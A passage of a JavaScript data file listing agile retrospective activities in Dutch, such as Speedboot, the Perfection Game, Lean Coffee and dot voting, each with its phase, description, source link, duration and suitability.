name: "Check In - Amazon Review",
summary: "Schrijf een review van de iteratie voor Amazon. En vergeet de sterbeoordeling niet!",
desc: "Elk team lid schrijft een korte review met: \
<ul>\
<li>Titel</li>\
<li>Inhoud</li>\
<li>Sterbeoordeling (5 sterren is het best) </li>\
</ul>\
Iedereen leest zijn review voor. Houdt de sterbeoordelingen bij op een flipchart.<br>\
Dit kan de hele retrospective in beslag nemen door ook te informeren naar wat er aan te bevelen was aan de sprint en wat niet.",
source: "<a href='http://blog.codecentric.de/2012/02/unser-sprint-bei-amazon/'>Christian Heiß</a>",
duration: "10",
suitable: "release, project"
};
all_activities[18] = {
phase: 1,
name: "Speedboot / Zeilboot",
summary: "Analyseer welke krachten je voortduwen en welke je terugduwen",
desc: "Teken een speedboot op een flipchartvel. Geef het zowel een sterke motor als een zwaar anker. De teamleden schrijven zwijgend op stickies wat het team voortstuwde en wat het verankerde. Per postit 1 idee. Plak vervolgens de stickies op de motor en het anker al naar gelang waar ze thuishoren. Lees iedere notitie voor en bespreek hoe je de motoren kunt vermeerderen en de ankers los kan snijden.",
source: source_innovationGames + ", vinden op <a href='http://leadinganswers.typepad.com/leading_answers/2007/10/calgary-apln-pl.html'>Leading Answers</a>",
duration: "10-15 groupSize",
suitable: "iteration, release"
};
all_activities[19] = {
phase: 2,
name: "Perfectioneringsspel (Perfection Game)",
summary: "Wat zou de volgende spring perfect maken?",
desc: "Bereid een flip chart voor met twee kolommen, een smalle voor 'Beoordeling' en een brede voor 'Acties'. \
Iedereen beoordeelt de afgelopen sprint op een schaal van 1 (slecht) tot 10 (goed). Dan moeten ze voorstellen welke acties de volgende sprint beter zouden maken om een 10 te scoren.",
source: "<a href='http://www.benlinders.com/2011/getting-business-value-out-of-agile-retrospectives/'><NAME></a>",
suitable: "iteration, release"
};
all_activities[20] = {
phase: 3,
name: "Samenvoegen",
summary: "Verkort de lijst met heel veel mogelijke acties tot twee acties die het team wil uitproberen",
desc: "Deel indexkaartjes en stiften uit. Geef iedereen de opdracht om de twee acties die zij volgende sprint uit willen proberen zo concreet mogelijk op te schrijven \
(<a href='http://en.wikipedia.org/wiki/SMART_criteria'>SMART</a>). Verdeel de groep vervolgens in paren en laat hen hun twee lisjtjes samenvoegen tot 1 lijst met twee acties. Maak vervolgens groepen van vier en daarna van acht. Verzamel ten slotte de lijstjes van ieder groepje en stem over wat de winnende acties worden.",
source: "<NAME> & <NAME>",
duration: "15-30 groupSize",
suitable: "iteration, release, project, largeGroups"
};
all_activities[21] = {
phase: 0,
name: "Temperatuur uitlezen",
summary: "Deelnemers zetten hun 'temperatuur' (stemming) op een flipchart",
desc: "Bereid een flipchart voor met een tekening van een thermometer met temperaturen van vrieskou tot lichaamstemperatuur tot heet.\
Elke deelnemer geeft zijn stemming aan op het blad.",
source: source_unknown
};
all_activities[22] = {
phase: 4,
name: "Feedback Deur - Smilies",
summary: "Peil de tevredenheid van de deelnemers over de retro in minimale tijd met gebruik van smilies",
desc: "Teken een ':)', ':|', en ':(' op een vel papier en plak die aan de deur. \
Vraag aan het eind van de retrospective aan de deelnemers om hun tevredenheid aan te geven door \
een 'x' onder de toepasselijke smily te zetten.",
source: "<a href='http://boeffi.net/tutorials/roti-return-on-time-invested-wie-funktionierts/'>Boeffi</a>",
duration: "2-3",
suitable: "iteration, largeGroups"
};
all_activities[23] = {
phase: 3,
name: "Open Items Lijst",
summary: "Deelnemer stellen acties voor en schrijven zich er voor in",
desc: "Bereid een flipchart voor met drie columns getiteld 'Wat', 'Wie', en 'Te doen voor'. \
Vraag de deelnemers een voor een wat zij willen doen om het team vooruit te helpen. \
Schrijf de taak op en spreek een einddatum af en laat die persoon zijn naam er achter zetten. <br>\
Als iemand een actie voor het hele team voorstelt, moet deze persoon de actie aan de rest van team zien te verkopen \
en de handtekeningen van de anderen zien te verzamelen.",
source: source_findingMarbles + ", inspired by <a href='http://lwscologne.wordpress.com/2012/05/08/11-treffen-der-limited-wip-society-cologne/#Retrospektiven'>this list</a>",
duration: "10-15 groupSize",
suitable: "iteration, release, smallGroups"
};
all_activities[24] = {
phase: 2,
name: "Oorzaak-Gevolg-Diagram",
summary: "Zoek de bron van problemen waarvan de oorzaak moeilijk vast te stellen is en die tot eindeloze discussie leiden",
desc: "Schrijf het probleem dat je wilt onderzoeken op een stickie en plak die op het midden van het whiteboard. \
Zoek uit waarom het een probleem is door herhaaldelijk 'Dus?' en 'Ja en?' te vragen. Zoek de onderliggend oorzaak van het probleem \
door herhaaldelijk 'Waarom (doet zich dit voor)?' te vragen. Documenteer de bevindingen door \
meer stickies te schrijven en causale relaties te leggen met behulp van pijlen. Iedere stickie kan meer dan een \
reden hebben en meer dan een gevolg.<br> \
Vicieuze circels zijn meestal een goed aangrijppunt voor acties. Als je hun slechte invloed kunt verbreken, kun je al een hoop winnen.",
source: "<a href='http://blog.crisp.se/2009/09/29/henrikkniberg/1254176460000'><NAME></a>",
more: "<a href='http://finding-marbles.com/2011/08/04/cause-effect-diagrams/'>Corinna's experiences</a>",
duration: "20-60 complexity",
photo: "<a href='http://www.plans-for-retrospectives.com/static/images/activities/25_Cause-Effect-Diagramm.jpg' rel='lightbox[activity24]'>View Photo</a>",
suitable: "release, project, smallGroups, complex"
};
all_activities[25] = {
phase: 2,
name: "Speeddaten",
summary: "Ieder teamlid verkent een onderwerp tot in de uithoeken in een serie 1 op 1 gesprekken",
desc: "Iedere deelnemer schrijft een onderwerp op dat ze willen uitdiepen, bijvoorbeeld iets dat ze willen veranderen. \
Daarna worden er tweetallen gevormd en over de ruimte verdeeld. Ieder tweetal bespreekt beide onderwerpen \
en denkt na over mogelijke acties - 5 minuten per deelnemer (onderwerp) - de een na de ander. \
Na 10 minutes worden er nieuwe tweetallen gevormd. Ga zo door totdat iedereen alle anderen gesproken heeft. <br>\
Als de groep een oneven aantal leden heeft, is de facilitator deel van een tweetal, maar krijgt het teamlid de volledige \
10 minuten voor hun onderwerp.",
source: source_kalnin,
duration: "10 perPerson",
suitable: "iteration, release, smallGroups"
};
all_activities[26] = {
phase: 5,
name: "Retrospective Koekjes",
summary: "Neem het team mee uit eten en zwengel de discussie aan met retrospective gelukskoekjes",
desc: "Neem het team mee uit eten, bij voorkeur Chinees als je in thema wilt blijven. ;) \
Verdeel de gelukskoekjes en ga de tafel rond om de koekjes te openen en hun inhoud te bespreken. \
Voorbeeld 'spreuken': \
<ul>\
<li>Wat was het meest effectieve dat je deze sprint deed, en waarom was het zo succesvol?</li>\
<li>Reflecteerde de burndown de realiteit? Waarom?</li>\
<li>Wat heb je bijgedragen aan de ontwikkelaars in het bedrijf? Wat zou je kunnen bijdragen?</li>\
<li>Wat was het grootste struikelblok deze sprint?</li>\
</ul>\
Je kunt <a href='http://weisbart.com/cookies/'>retrospective koekjes bestellen van Weisbart</a> \
of je eigen koekjes bakken, bijvoorbeeld als niet iedereen in het team Engels spreekt.",
source: "<a href='http://weisbart.com/cookies/'><NAME></a>",
duration: "90-120",
suitable: "iteration, release, smallGroups"
};
all_activities[27] = {
phase: 5,
name: "<NAME>",
summary: "Ga naar het dichtstbijzijnde park om een wandeling te maken en praat gewoon met elkaar",
desc: "Is het buiten mooi weer? Waarom zou je dan binnen opgesloten blijven, terwijl een wandeling je hersenen vult met zuurstof \
en nieuwe ideeën 'buiten de gebaande paden'. Ga naar buiten en maak een wandeling in het dichtstbijzijnde park. Het gesprek zal \
natuurlijk ove rhet werk gaan. Dit is een mooie afwijking van de routine als alles relatief goed gaat en \
je geen visuele documentatie nodig hebt om de discussie te ondersteunen. Volwassen teams kunnen hun ideeën gemakkelijke verspreiden en \
consensus bereiken, zelfs in zo'n informele setting.",
source: source_findingMarbles,
duration: "60-90",
suitable: "iteration, release, smallGroups, smoothSailing, mature"
};
all_activities[28] = {
phase: 3,
name: "<NAME>; <NAME> / Invloedscirkels",
summary: "Creëer acties gebaseerd op hoeveel invloed het team heeft om ze uit te voeren",
desc: "Bereid een flipchart voor met daarop 3 concentrische cirkels, die ieder groot genoeg zijn om er stickies in te plakken. Label ze met \
'Team beheerst - Directe actie', 'Team beïnvloedt - Overtuigende/aanbevelende actie' en 'Het soepie - Reactieve actie', \
respectievelijk van binnen naar buiten. ('Het soepie' geeft de bredere organisatie aan waarbinnen het team zich bevindt.) \
Neem de inzichten uit de vorige fase en hang ze in de toepasselijke cirkel.<br> \
De deelnemers schrijven in tweetallen mogelijke acties op. Druk hen op het hart om zich zoveel mogelijk te concentreren op zaken in hun \
invloedscirkel. De tweetallen hangen hun actieplan naast het bijbehorende inzicht en lezen het hardop voor. \
Bereik overeenstemming over welke acties uitgevoerd gaan worden (d.m.v. discussie, meerderheidsstemming, Stemmen met stippen (dotvoting), ...)",
source: "<a href='http://www.futureworksconsulting.com/blog/2010/07/26/circles-and-soup/'><NAME></a> \
die het aanpaste vanuit 'Seven Habits of Highly Effective People' van <NAME> en \
'<a href='http://www.ayeconference.com/wiki/scribble.cgi?read=CirclesOfControlInfluenceAndConcern'>Circle of Influence And Concern</a>' van <NAME>",
suitable: "iteration, release, project, stuck, immature"
};
all_activities[29] = {
phase: 5,
name: "Dialoogvellen",
summary: "Een gestructureerde aanpak om te discussiëren",
desc: "Een dialoogvel lijkt een beetje op een spelbord. Er zijn \
<a href='http://allankelly.net/dlgsheets/'>verschillende vellen beschikbaar</a>. \
Kies er een, print het zo groot mogelijk uit (bij voorkeur op A1) en volg de instructies.",
source: "<a href='http://allankelly.net/dlgsheets/'>Allen Kelly at Software Strategy</a>",
duration: "90-120",
suitable: "iteration, release, project"
};
all_activities[30] = {
phase: 0,
name: "Inchecken - Teken de Iteratie",
summary: "De deelnemers tekeken een aspect van de iteratie",
desc: "Geef iedereen indexkaartjes en stiften. Stel een onderwerp vast, bijvoorbeeld een van de volgende: \
<ul>\
<li>Hoe voelde je je tijdens de iteratie?</li>\
<li>Wat was het meest opmerkelijke moment?</li>\
<li>Wat was het grootste probleem?</li>\
<li>Waar verlangde je naar?</li>\
</ul>\
Vraag de teamleden om het antwoord te tekenen. Hang alle tekeningen aan het whiteboard. Laat voor iedere tekening \
de overige deelnemers raden wat het betekent voor de tekenaar het uitlegt.<br> \
Metaforen openen nieuwe perspectieven en creëren een gedeelde begripsvorming.",
source: source_findingMarbles + ", aangepast van \
<a href='http://vinylbaustein.net/2011/03/24/draw-the-problem-draw-the-challenge/'><NAME></a> \
en <NAME>",
duration: "5 + 3 per person",
suitable: "iteration, release, project"
};
all_activities[31] = {
phase: 0,
name: "<NAME>",
summary: "Help teamleden om hun gevoelens over het project te uiten om de onderliggende oorzaak vroeg aan te kunnen pakken",
desc: "Bereid een flipchart voor met daarop gezichten die verschillende emoties uitdrukken zoals: \
<ul>\
<li>geschokt / verbaasd</li>\
<li>nerveus / gestressed</li>\
<li>machteloos / beperkt</li>\
<li>verward</li>\
<li>blij</li>\
<li>boos</li>\
<li>overweldigd</li>\
</ul>\
Laat ieder teamlid kiezen hoe ze zich voelen over het project. Dit is een leuke en effectieve manier om problemen vroegtijdig op te sporen. \
Je kunt de problemen in de volgende fasen addresseren.",
source: "<NAME>",
duration: "10 for 5 people",
suitable: "iteration, release"
};
all_activities[32] = {
phase: 1,
name: "Trots & beschaamd",
summary: "Waar zijn de teamleden trots op of schamen ze zich voor?",
desc: "Hang twee posters op genaamd 'trots' en 'beschaamd'. De teamleden schrijven items op stickies (1 item per sticky). \
Zodra de tijd voorbij is, leest iedereen zijn briefjes voor en hangen het op de toepasselijke poster. <br>\
Begin een korte conversatie. Bijvoorbeeld door te vragen::\
<ul>\
<li>Was er iets dat je verraste?</li>\
<li>Welke patronen zie je? Wat betekenen die voor het team?</li>\
</ul>",
source: source_agileRetrospectives,
duration: "10-15",
suitable: "iteration, release"
};
all_activities[33] = {
phase: 4,
name: "Waarderingsregen",
summary: "Luister hoe anderen achter je rug over je praten - maar dan alleen de goede dingen!",
desc: "Vorm groepjes van 3. Iedere groep zet de stoelen zo neer dat er 2 stoelen tegenover elkaar staan \
en de derde met de rug er naar toe, als volgt: >^<. \
De twee mensen die op de stoelen zitten die naar elkaar kijken praten gedurende twee minuten over de derde persoon. \
Daarbij mogen ze alleen positieve dingen zeggen en niets dat gezegd wordt mag later door iets anders te zeggen in waarde verlaagd worden. <br>\
Hou drie rondes, waarbij iedereen een keer in de 'regenstoel' komt te zitten.",
source: '<a href="http://www.miarka.com/de/2010/11/shower-of-appreciation-or-talking-behind-ones-back/"><NAME></a>',
duration: "10-15",
suitable: "iteration, release, matureTeam"
};
all_activities[34] = {
phase: 1,
name: "Agile zelfbeoordeling",
summary: "Beoordeel waar je staat met een checklist",
desc: "Print een checklist die je aanspreekt, bijvoorbeeld:\
<ul>\
<li><a href='http://www.crisp.se/gratis-material-och-guider/scrum-checklist'><NAME>'s uitstekende Scrum Checklist</a></li>\
<li><a href='http://finding-marbles.com/2011/09/30/assess-your-agile-engineering-practices/'>Self-assessment of agile engineering practices</a></li>\
<li><a href='http://agileconsortium.blogspot.de/2007/12/nokia-test.html'>Nokia Test</a></li>\
</ul>\
Loop de lijst door met het team en bespreek waar je staat en of je op de goede weg bent.<br>\
Dit is een mooie activiteit na een iteratie zonder grote gebeurtenissen.",
source: source_findingMarbles,
duration: "10-25 minutes depending on the list",
suitable: "smallTeams, iteration, release, project, smoothGoing"
};
all_activities[35] = {
phase: 0,
name: "<NAME>",
summary: "Bepaal een positief doel voor de sessie",
desc: "Concentreer je op de positive aspecten in plaats van op de problemen door een positief doel vast te stellen, bijv.\
<ul>\
<li>Laten we manieren zoeken om de sterke punten van ons proces en ons team te versterken</a></li>\
<li>Laten we uitzoeken hoe we de beste manieren om onze engineering practices en methoden te gebruiken kunnen uitbreiden</li>\
<li>We gaan kijken naar onze best werkende relaties en manieren zoeken om meer van zulke relaties op te bouwen</li>\
<li>We gaan ontdekken waar we de meeste waarde hebben toegevoegd in onze laatste iteratie om de toegevoegde waarde van onze volgende iteratie te vergroten</li>\
</ul>",
source: "<a href='http://www.ayeconference.com/appreciativeretrospective/'><NAME></a>",
duration: "3 minutes",
suitable: "iteration, release, project"
};
all_activities[36] = {
phase: 2,
name: "<NAME>",
summary: "Stel je voor dat de volgende iteratie perfect is. Hoe zou dat zijn? Wat heb je gedaan?",
desc: "'Stel je voor dat je in de toekomst kunt reizen naar het eind van de volgende iteratie (of release). Daar leer je dat het de beste, \
meest productieve iteratie tot dusver was! Hoe zullen jullie toekomstige tegenhangers het beschrijven? Wat zie en hoor je?' \
Geef het team wat tijd om zich dit voor te stellen en schrijf wat steekwoorden op om hun geheugen op te frissen. \
Laat vervolgens iedereen zijn visie van de perfecte iteratie beschrijven.<br>\
Stel vervolgens de vraag 'Welke veranderingen hebben we doorgevoerd die resulteerden in zo'n productieve en bevredigende toekomst?'\
Schrijf de antwoorden op index kaarten om in de volgende fase te gebruiken.",
source: source_innovationGames + ", found at <a href='http://www.ayeconference.com/appreciativeretrospective/'><NAME></a>",
suitable: "iteration, release, project"
};
all_activities[37] = {
phase: 3,
name: "Stemmen met stippen (dotvoting) - Houden, Opgeven, Toevoegen",
summary: "Hou een brainstormsessie over welke gedragingen gehouden, opgegeven en toegevoegd moeten worden en kies daaruit de favoriete initiatieven",
desc: "Verdeel een flipchart in drie vakken getiteld 'Houden', 'Opgeven' en 'Toevoegen'. \
Vraag de deelnemers om concrete voorstellen voor iedere categorie op te schrijven - 1 idee per index kaart. \
Laat ze een paar minuten in stilte schrijven. \
Laat dan iedereen zijn aantekeningen voorlezen en in de juiste categorie hangen. \
Leid een korte discussie over wat de 20% meest waardevolle ideeën zijn. Stem er op door stippen, kruisjes of streepjes op de kaartjes te zetten met een stift. \
Bijvoorbeeld 1, 2, of 3 stippen die iedere persoon mag uitdelen. \
De top 2 of 3 worden de actie items voor de volgende iteratie.",
source: source_agileRetrospectives,
duration: "15-30",
suitable: "iteration"
};
all_activities[38] = {
phase: 3,
name: "Stemmen met stippen (dotvoting) - Werkte goed, Anders doen",
summary: "Hou een brainstormsessie over wat goed werkte en wat er anders moet en kies daaruit de favoriete initiatieven",
desc: "Neem twee flip charts met de titels 'Werkte goed' en 'Volgende keer anders doen'. \
Vraag de deelnemers om concrete voorstellen per categorie op te schrijven, 1 idee per sticky. \
Laat ze een paar minuten in stilte schrijven. \
Laat dan iedereen zijn aantekeningen voorlezen en in de juiste categorie hangen. \
Leid een korte discussie over wat de 20% meest waardevolle ideeën zijn. Stem er op door stippen, kruisjes of streepjes op de kaartjes te zetten met een stift. \
Bijvoorbeeld 1, 2, of 3 stippen die iedere persoon mag uitdelen. \
De top 2 of 3 worden de actie items voor de volgende iteratie.",
source: source_agileRetrospectives,
duration: "15-30",
suitable: "iteration"
};
all_activities[39] = {
phase: 4,
name: "Plus & Delta",
summary: "Iedere deelnemer schrijft 1 ding op dat hen bevalt en 1 ding dat ze zouden willen veranderen aan de retro",
desc: "Bereid een flip chart voor met 2 kolommen: Zet er 'Plus' en 'Delta' boven. \
Vraag iedere deelnemer om 1 aspect van de retrospective op te schrijven dat hen bevalt \
en 1 ding dat ze zouden willen veranderen (op verschillende indexkaartjes). Hang de indexkaartjes op de juiste flip chart \
en neem ze kort door om de exacte betekenis te verduidelijken en om de voorkeur van de meerderheid te peilen \
als kaartjes van verschillende mensen in verschillende richtingen wijzen.",
source: "<a href='http://agileretrospectivewiki.org/index.php?title=Weekly_Retrospective_Simple_%2B_delta'><NAME></a>",
duration: "5-10",
suitable: "release, project"
};
all_activities[40] = {
phase: 2,
name: "Parkbank",
summary: "Groepsdiscussie met varierende subsets van de deelnemers",
desc: "Plaats tenminste 4 en maximaal 6 stoelen op een rij zodat ze naar de overige leden van de groep gericht zijn. \
Leg de regels uit: <ul>\
<li>Neem plaats op de 'bank' als je wilt bijdragen aan de discussie</li>\
<li>Er moet ten minste altijd 1 plek vrij zijn</li>\
<li>Als de laatste plaats bezet wordt, dan moet iemand anders opstaan en naar het publiek terugkeren</li>\
</ul>\
Start de discussie door plaats te nemen op de 'bank' en hardop over iets na te denken \
dat je in de afgelopen iteratie geleerd hebt totdat er iemand bij komt zitten. \
Beëindig de activiteit als de discussie afsterft. \
<br>Dit is een variant op de zogenaamde 'Fish Bowl'. Het is geschikt voor groepen van 10-25 mensen.",
source: "<a href='http://www.futureworksconsulting.com/blog/2010/08/24/park-bench/'><NAME></a>",
duration: "15-30",
suitable: "release, project, largeGroups"
};
all_activities[41] = {
phase: 0,
name: "Ansichtkaarten",
summary: "De deelnemers kiezen een ansichtkaart die hun gedachten/gevoelens weerspiegelt",
desc: "Neem een stapel met diverse ansichtkaarten mee - ten minste 4 keer zo veel kaarten als er deelnemers zijn. \
Verspreid ze over de ruimte en instrueer alle teamleden om de kaart te kiezen die het beste \
hun mening over de laatste iteratie weergeeft. Nadat ze gekozen hebben, schrijft iedereen drie steekwoorden \
op die hun kaart, ofwel de sprint, beschrijven op een indexkaart. Bij toerbeurt hangt iedereen zijn ansicht- en indexkaart op \
waarbij ze hun keuze beschrijven.",
source: "<a href='http://finding-marbles.com/2012/03/19/retrospective-with-postcards/'><NAME></a>",
duration: "15-20",
suitable: "iteration, release, project",
};
all_activities[42] = {
phase: 0,
name: "Neem een standpunt in - Opening",
summary: "Deelnemers nemen een standpunt en en geven daarmee hun tevredenheid met de iteratie aan",
desc: "Creëer een grote schaal (ofwel een lange lijn) op de vloer met afplaktape. Markeer het ene \
uiteinde als 'Geweldig' en het andere uiteinde als 'Dramatisch'. Laat de deelnemers plaatsnemen op de schaal \
afhankelijk van hun tevredenheid met de laatste iteratie. Psychologisch is het fysiek \
innemen van een standpunt anders dan van alleen maar iets zeggen. Het is 'echter'.<br> \
Je kunt de schaal hergebruiken als je afsluit met activiteit #44.",
source: source_findingMarbles + ", inspired by <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'>Christoph Pater</a>",
duration: "2-5",
suitable: "iteration, release, project"
};
all_activities[43] = {
phase: 4,
name: "Neem een standpunt in - Sluiting",
summary: "Deelnemers nemen een standpunt en en geven daarmee hun tevredenheid met de retrospective aan",
desc: "Creëer een grote schaal (ofwel een lange lijn) op de vloer met afplaktape. Markeer het ene \
uiteinde als 'Geweldig' en het andere uiteinde als 'Dramatisch'. Laat de deelnemers plaatsnemen op de schaal \
afhankelijk van hun tevredenheid met de retrospective. Psychologisch is het fysiek \
innemen van een standpunt anders dan van alleen maar iets zeggen. Het is 'echter'.<br> \
Zie activiteit #43 om te zien hoe je de retrospective kunt beginnen met dezelfde schaal",
source: source_findingMarbles + ", inspired by <a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'>Christoph Pater</a>",
duration: "2-5",
suitable: "iteration, release, project"
};
all_activities[44] = {
phase: 4,
name: "Blij & Verrast",
summary: "Waar werden de deelnemers blij van en/of door verrast tijdens de retrospective",
desc: "Doe een snel rondje langs de groep en laat de deelnemers een uitkomst \
van de retrospective aanwijzen waar ze blij van werden of door verrast werden (of beide).",
source: source_unknown,
duration: "5",
suitable: "iteration, release, project"
};
all_activities[45] = {
phase: 0,
name: "Waarom Retrospectives?",
summary: "Vraag 'Waarom doen we retrospectives?'",
desc: "Ga terug naar de basics en start de retrospective met de vraag 'Waarom doen we dit?' \
Schrijf alle antwoorden op zodat iedereen ze zien kan. Laat je verrassen door de uitkomst.",
source: "<a href='http://proessler.wordpress.com/2012/07/20/check-in-activity-agile-retrospectives/'><NAME></a>",
duration: "5",
suitable: "iteration, release, project"
};
all_activities[46] = {
phase: 1,
name: "<NAME>",
summary: "Bekijk de aantekeningen die tijdens de sprint verzameld zijn",
desc: "Maak een retrospective brievenbus aan het begin van de iteratie. Iedere keer dat er iets Whenever something \
significants gebeurd of als iemand een idee voor een verbetering heeft, schrijven ze het op en posten het in de brievenbus. \
(Als alternatief kan de 'brievenbus' ook een zichtbare plek zijn. Dit kan de discussie al tijdens de iteratie \
aanzwengelen.) <br>\
Loop de brieven door en bespreek ze.<br>\
Een brievenbus is geweldig voor lange iteraties en vergeetachtige teams.",
source: source_skycoach,
more: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Originele artikel</a>",
duration: "15",
suitable: "release, project"
};
all_activities[47] = {
phase: 3,
name: "Neem een standpunt in - Line Dance",
summary: "Krijg een idee van waar iedereen staat en probeer consensus te bereiken",
desc: "Als het team niet tussen twee opties kan kiezen, maak dan een grote schaal (bijv. een lange lijn) \
op de vloer met afplaktape. Markeer het ene uiteinde als optie A en het andere als optie B. \
Teamleden positioneren zich op de schaal al naar gelang hun voorkeur voor een van beide opties. \
Stel nu de opties bij tot een van de twee een duidelijke meerderheid heeft.",
source: source_skycoach,
more: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'>Originele artikel</a>",
duration: "5-10 per decision",
suitable: "iteration, release, project"
};
all_activities[48] = {
phase: 3,
name: "Stemmen met stippen (dotvoting) - Zeester",
summary: "Verzamel wat er gestart, gestopt, voortgezet, minder gedaan of meer gedaan moet worden",
desc: "Teken vijf spaken op een flipchartvel, waardoor het vel in vijf segmenten verdeeld is. \
Label ze 'Start', 'Stop', 'Voortzetten', 'Meer doen' en 'Minder doen'. \
De deelnemers schrijven hun voorstellen op sticky notes en hangen die in het \
toepasselijke segment. Laat na het clusteren van de stickies die hetzelfde idee bevatten, \
iedereen stemmen op de suggesties die ze uit willen proberen.",
source: "<a href='http://www.thekua.com/rant/2006/03/the-retrospective-starfish/'><NAME></a>",
duration: "15 min",
suitable: "iteration, release, project"
};
all_activities[49] = {
phase: 2,
name: "<NAME>",
summary: "Een fee wil een van je wensen in vervulling laten gaan - hoe weet je dan dat je wens uit kwam?",
desc: "Geef de deelnemers 2 minuten om in stilte de volgende vraag te overdenken: \
'Een fee vervult een wens die je grootste probleem op het werk 's nachts oplost. Wat zou je dan wensen?' \
Volg dit daarna op met: 'Je komt de volgende dag op het werk. Je kunt zien dat je wens uitgekomen is. \
Hoe weet je dat zo zeker? Wat is er nu anders?' Als het vertrouwen in de groep hoog is, laat iedereen \
dan zijn 'Vervulde wens'-werkplek beschrijven. Zo niet, vertel de deelnemers dan om hun scenario \
gedurende de volgende fase van de retrospective in hun achterhoofd te houden en acties voor te stellen die \
tot doel hebben om in de richting van die gewenste situatie te gaan.",
source: "<NAME> & <NAME>",
duration: "15 min",
suitable: "iteration"
};
all_activities[50] = {
phase: 1,
name: "<NAME>",
summary: "Gebruik het Lean Coffee format om de belangrijkste onderwerpen te bespreken",
desc: "Vertel hoeveel tijd er beschikbaar is voor deze fase en leg dan de regels van Lean Coffee voor retrospectives uit: <ul>\
<li>Iedereen schrijft de onderwerpen op die ze willen bespreken - 1 onderwerp per sticky</li>\
<li>Hang de stickies op een whiteboard of flipchart. De persoon die het opschreef beschrijft het onderwerp in 1-2 zinnen. \
Groepeer de stickies die over hetzelfde onderwerp gaan</li>\
<li>Stem nu met stippen (dotvoting) voor de twee onderwerpen die je wilt bespreken</li>\
<li>Sorteer de stickies aan de hand van de stemmen</li>\
<li>Start met het onderwerp met de meeste interesse</li>\
<li>Zet een wekker op vijf minuten. Als de wekker afgaat, steekt iedereen zijn duim op, omhoog of omlaag. \
Als de meerderheid van de duimen omhoog is: Het onderwerp krijgt nog vijf minuten. \
Als de meerderheid van de duimen omlaag is: Start het volgende onderwerp. </li>\
</ul> Stop als de beschikbare tijd op is.",
source: "<a href='http://leancoffee.org/'>Originele beschrijving</a> en \
<a href='http://finding-marbles.com/2013/01/12/lean-altbier-aka-lean-coffee/'>in actie</a>",
duration: "20-40 min",
suitable: "iteration"
};
all_activities[51] = {
phase: 0,
name: "Sterrenbeeld - Opening",
summary: "Laat de deelnemers stellingen bevestigen of tegenspreken door rond te bewegen",
desc: "Plaats een cirkel in het midden van de ruimte. Laat het team er omheen verzamelen. \
Leg uit dat de cirkel het centrum van instemming is: Als ze het met een stelling eens zijn moeten ze er naartoe bewegen, \
zo niet moeten ze er zo ver vandaan bewegen als ze het er mee oneens zijn. Lees nu stellingen voor, bijv.\
<ul>\
<li>Ik kan openlijk spreken tijdens deze retrospective</li>\
<li>Ik ben tevreden met de laatste sprint</li>\
<li>Ik ben tevreden met de kwaliteit van onze code</li>\
<li>Ik vind ons continuous integration proces volwassen</li>\
</ul>\
Zie hoe de sterrenbeelden zich ontplooien. Vraag na afloop welke sterrenbeelden verrassend waren.<br>\
Dit kan ook een afsluitende activiteit zijn (#53).",
source: "<a href='http://www.coachingagileteams.com/'><NAME></a> via \
<a href='https://luis-goncalves.com/agile-retrospective-set-the-stage/'><NAME></a>",
duration: "10 min",
suitable: "iteration, project, release"
};
all_activities[52] = {
phase: 4,
name: "Sterrenbeeld - Sluiting",
summary: "Laat de deelnemers de retrospective beoordelen door rond te bewegen",
desc: "Plaats een cirkel in het midden van de ruimte. Laat het team er omheen verzamelen. \
Leg uit dat de cirkel het centrum van instemming is: Als ze het met een stelling eens zijn moeten ze er naartoe bewegen, \
zo niet moeten ze er zo ver vandaan bewegen als ze het er mee oneens zijn. Lees nu stellingen voor, bijv.\
<ul>\
<li>We hebben besproken wat voor mij het meest belangrijk was</li>\
<li>Ik heb vandaag openlijk mijn mening geuit</li>\
<li>Ik denk dat de retrospective de tijd waard was</li>\
<li>Ik heb er alle vertrouwen in dat we onze actiepunten uitvoeren</li>\
</ul>\
Zie hoe de sterrenbeelden zich ontplooien. Vraag na afloop welke sterrenbeelden verrassend waren.<br>\
Dit kan ook een openingsactiviteit zijn (#52).",
source: "<a href='http://www.coachingagileteams.com/'><NAME></a> via \
<a href='https://luis-goncalves.com/agile-retrospective-set-the-stage/'><NAME></a>, \
<a href='http://www.softwareleid.de/2012/06/eine-retro-im-kreis.html'><NAME></a>",
duration: "5 min",
suitable: "iteration, project, release"
};
all_activities[53] = {
phase: 1,
name: "<NAME>",
summary: "Het team nomineert stories voor prijzen en bespreekt de winnaars",
desc: "Toon alle stories die de laatste sprint(s) afgerond zijn op een bord. \
Creëer drie prijzencategorieën (bijvoorbeeld als vlakken op het bord):\
<ul>\
<li>Beste story</li>\
<li>Irritantste story</li>\
<li>... 3de categorie bedacht door het team ...</li>\
</ul>\
Vraag het team om stories te nomineren door ze in een van de categorieën te plaatsen. <br>\
Laat het team voor iedere categorie stemmen met stippen (dotvoting) om de winnaar te bepalen. \
Vraag het team waarom ze denken dat deze story gewonnen heeft in deze categorie \
en laat het team reflecteren op het proces van het afmkane van taken - wat ging er goed en/of fout.",
source: "<a href='http://www.touch-code-magazine.com'><NAME></a>",
duration: "30-40 min",
suitable: "project, release",
};
all_activities[54] = {
phase: 2,
name: "<NAME>",
summary: "Stel <NAME>'s 4 sleutelvragen",
desc: "<NAME>, bedenker van retrospectives, identificeerde de volgende 4 vragen als essentieel: \
<ul>\
<li>Wat deden we goed, dat we mogelijk vergeten als we het niet benoemen?</li>\
<li>Wat hebben we geleerd?</li>\
<li>Wat zouden we de volgende keer anders moeten doen?</li>\
<li>Waar breken we ons nog steeds het hoofd over?</li>\
</ul>\
Wat zijn de antwoorden van het team?",
source: "<a href='http://www.retrospectives.com/pages/RetrospectiveKeyQuestions.html'><NAME></a>",
duration: "15 min",
suitable: "iteration, project, release"
};
all_activities[55] = {
phase: 5,
name: "<NAME>",
summary: "Breng het team in direct contact met een klant of belanghebbende",
desc: "Nodig een klant of interne belanghebbende uit bij je retrospective.\
Laat het team ALLE vragen stellen:\
<ul>\
<li>Hoe gebruikt de klant het product?</li>\
<li>Wat vervloeken ze het meest?</li>\
<li>Welke functie maakt hun leven gemakkelijker?</li>\
<li>Laat de klant een demonstratie geven van hun typische workflow</li>\
<li>...</li>\
</ul>",
source: "<a href='http://skycoach.be/2010/06/17/12-retrospective-exercises/'><NAME></a>",
duration: "45 min",
suitable: "iteration, project"
};
all_activities[56] = {
phase: 4,
name: "Zeg het met bloemen",
